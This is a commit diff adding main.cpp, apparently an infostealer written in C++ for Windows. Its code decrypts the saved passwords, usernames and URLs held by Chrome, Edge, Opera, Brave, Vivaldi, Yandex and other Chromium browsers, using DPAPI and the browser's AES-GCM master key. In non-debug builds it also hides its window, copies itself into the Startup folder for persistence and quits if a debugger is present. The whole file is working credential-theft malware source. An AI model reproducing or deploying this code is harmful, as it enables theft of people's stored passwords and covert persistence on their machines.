Create main.cpp

Author: Nk125

main.cpp

@@ -0,0 +1,261 @@
+#define DEBUG_MOD
+#include "Base64.h"
+#include "binaryhandling.hpp"
+#include <cstdio>
+#include <iostream>
+#include "json.hpp"
+#include <map>
+#include "plusaes_wrapper.hpp"
+#include <string>
+#include "sqlite3.h"
+#include <windows.h>
+#include <Wincrypt.h>
+#pragma comment(lib, "sqlite3")
+#pragma comment(lib, "user32")
+#pragma comment(lib, "Crypt32")
+
+std::string con, browser;
+std::map<std::string, std::string> paths;
+
+std::string decrypt_c32(std::string cont) {
+    DATA_BLOB out;
+    DATA_BLOB buf;
+    buf.pbData = reinterpret_cast<BYTE*>(cont.data());
+    buf.cbData = (DWORD) cont.size();
+    std::string dec_buffer;
+
+    if (CryptUnprotectData(&buf, NULL, NULL, NULL, NULL, NULL, &out)) {
+        for (int i = 0; i < out.cbData; i++) {
+            dec_buffer += out.pbData[i];
+        }
+
+        #ifdef DEBUG_MOD
+        std::cout << "Decrypted Crypt32: " << dec_buffer << " Size: " << dec_buffer.size() << "\n";
+        #endif
+
+        LocalFree(out.pbData);
+
+        return dec_buffer;
+    }
+    else {
+        #ifdef DEBUG_MOD
+        std::cerr << "Error: " << GetLastError() << "\n";
+        return std::to_string(GetLastError());
+        #else
+        return "";
+        #endif
+    }
+}
+
+void trim_data(std::string original_data, std::string* out_pass, std::string* out_tag, std::string* iv) {
+    #ifdef DEBUG_MOD
+    std::cout << "Data size: " << original_data.size() << "\n";
+    #endif
+    std::string buf;
+
+    *iv = original_data.substr(3, 12);
+    buf = original_data.substr(15, original_data.size() - 15);
+    *out_tag = buf.substr(buf.size() - 16, 16);
+    *out_pass = buf.substr(0, buf.size() - out_tag->size());
+
+    #ifdef DEBUG_MOD
+    std::cout << "Out pass: " << *out_pass << " Size: " << out_pass->size() << "\nOut tag: " << *out_tag << " Size: " << out_tag->size() << "\nIV: " << *iv << " Size: " << iv->size() << "\n";
+    #endif
+}
+
+std::string master_k(std::string path) {
+    //std::string mkey_path = std::string{getenv("localappdata")} + "\\Google\\Chrome\\User Data\\Default\\Local State";
+    std::string content;
+    try {
+        nk125::binary_file_handler b;
+        content = b.read_file(path);
+        auto v = nlohmann::json::parse(content);
+        content = v["os_crypt"]["encrypted_key"];
+    }
+    catch (...) {return "";}
+
+    #ifdef DEBUG_MOD
+    std::cout << "Encrypted Master key: " << content << "\n";
+    #endif
+
+    std::string master;
+    macaron::Base64::Decode(content, master);
+    master = decrypt_c32(master.substr(5, master.size() - 5));
+
+    return master;
+}
+
+std::string decrypt_ch(std::string content) {
+    std::string master_path, dec_buf;
+    std::string local(getenv("localappdata"));
+
+    if (browser == "Vivaldi") {
+        master_path = local + "/Vivaldi/Local State";
+    }
+    else if (browser == "Yandex") {
+        master_path = local + "/Yandex/YandexBrowser/Local State";
+    }
+    else {
+        master_path = paths[browser] + "Local State";
+    }
+
+    std::string key = master_k(master_path);
+    nk125::plusaes_wrapper aes;
+    std::string data, gcm_tag, iv;
+
+    trim_data(content, &data, &gcm_tag, &iv);
+
+    aes.set_tw_iv(reinterpret_cast<unsigned char*>(iv.data()));
+
+    dec_buf = aes.gcm_decrypt(data, key, gcm_tag);
+
+    #ifdef DEBUG_MOD
+    std::cout << "Decrypted buffer: " << dec_buf << " Size: " << dec_buf.size() << "\n";
+    #endif
+
+    return dec_buf;
+}
+
+int tHandler(void* nil, int argc, char** second, char** first) {
+    #ifdef DEBUG_MOD
+    std::cout << "Argc: " << argc << "\n";
+    #endif
+
+    for (int ind = 0; ind < argc; ind++) {
+        std::string key = first[ind], value = second[ind];
+        std::cout << "Key: " << key << " Value: " << value << "\n";
+        if (!value.empty() || !key.empty()) {
+            if (key == "action_url") {
+                con.append("-----\nBrowser: " + browser + "\nURL: " + value + "\n");
+            }
+
+            if (key == "username_value") {
+                con.append("Email/User: " + value + "\n");
+            }
+
+            if (key == "password_value") {
+                std::string ftag = value.substr(0, 3);
+                std::string dec;
+
+                if (ftag == "v10" || ftag == "v11") {
+                    dec = decrypt_ch(value);
+                }
+                else {
+                    dec = decrypt_c32(value);
+                }
+
+                con.append("Pass: " + dec + "\n\n");
+            }
+        }
+    }
+    return 0;
+}
+
+void sql_chromium(std::string path) {
+    using namespace std;
+    //string dbp = string{getenv("localappdata")} + "\\Google\\Chrome\\User Data\\Default\\Login Data";
+    nk125::binary_file_handler b;
+    std::string path_db;
+
+    if (browser == "Chrome") {
+        path_db = path + "Default/Login Data";
+    }
+    else {
+        path_db = path + "Login Data";
+    }
+
+    try {
+        b.fast_copy_file(path_db, path_db + ".d");
+    }
+    catch(...) {return;}
+
+    sqlite3* datab;
+    int failed = sqlite3_open(std::string{path_db + ".d"}.c_str(), &datab);
+
+    if (failed) {
+        #ifdef DEBUG_MOD
+        std::cerr << "Error: " << failed << ", " << path << "\n";
+        #endif
+        return;
+    }
+    else {
+        #ifdef DEBUG_MOD
+        char* err;
+        int r = sqlite3_exec(datab, "SELECT action_url, username_value, password_value FROM logins", tHandler, 0, &err);
+        if (r) {
+            std::cout << "Ret: " << err << "\n";
+        }
+        #else
+        sqlite3_exec(datab, "SELECT action_url, username_value, password_value FROM logins", tHandler, 0, 0);
+        #endif
+        sqlite3_close(datab);
+    }
+}
+
+void saveStartup(char* argv[]) {
+    std::string path = std::string{getenv("appdata")} + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\";
+    std::string exe(argv[0]);
+
+    if (exe.find(path) != std::string::npos) {
+        return;
+    }
+
+    nk125::binary_file_handler b;
+    try {
+        b.copy_file(exe, path + "h.exe");
+    }
+    catch (...) {
+        return;
+    }
+}
+
+void hide() {
+    HWND window;
+    AllocConsole();
+    window = FindWindowA("ConsoleWindowClass", NULL);
+    ShowWindow(window, 0);
+}
+
+void init(char* argv[]) {
+    #ifndef DEBUG_MOD
+    hide();
+    saveStartup(argv);
+    #endif
+    std::string roaming(getenv("appdata"));
+    std::string local(getenv("localappdata"));
+
+    paths.insert({
+        {"Opera", roaming + "/Opera Software/Opera Stable/"},
+        {"OperaGX", roaming + "/Opera Software/Opera GX Stable/"},
+        {"Edge", local + "/Microsoft/Edge/User Data/"},
+        {"Chromium", local + "/Chromium/User Data/"},
+        {"Brave", local + "/BraveSoftware/Brave-Browser/User Data/"},
+        {"Chrome", local + "/Google/Chrome/User Data/"},
+        {"Vivaldi", local + "/Vivaldi/User Data/Default/"},
+        {"Yandex", local + "/Yandex/YandexBrowser/User Data/Default/"},
+    });
+
+    struct _stat32 info;
+
+    for (auto path : paths) {
+        browser = path.first;
+        if (_stat32(path.second.c_str(), &info) == 0) {
+            sql_chromium(path.second);
+        }
+    }
+}
+
+int main(int argc, char* argv[]) {
+    #ifndef DEBUG_MOD
+    if (IsDebuggerPresent()) {
+        return 0;
+    }
+    #endif
+
+    init(argv);
+
+    #ifdef DEBUG_MOD
+    std::cout << "Login Data: \n" << con << "\n";
+    #endif
+    return 0;
+}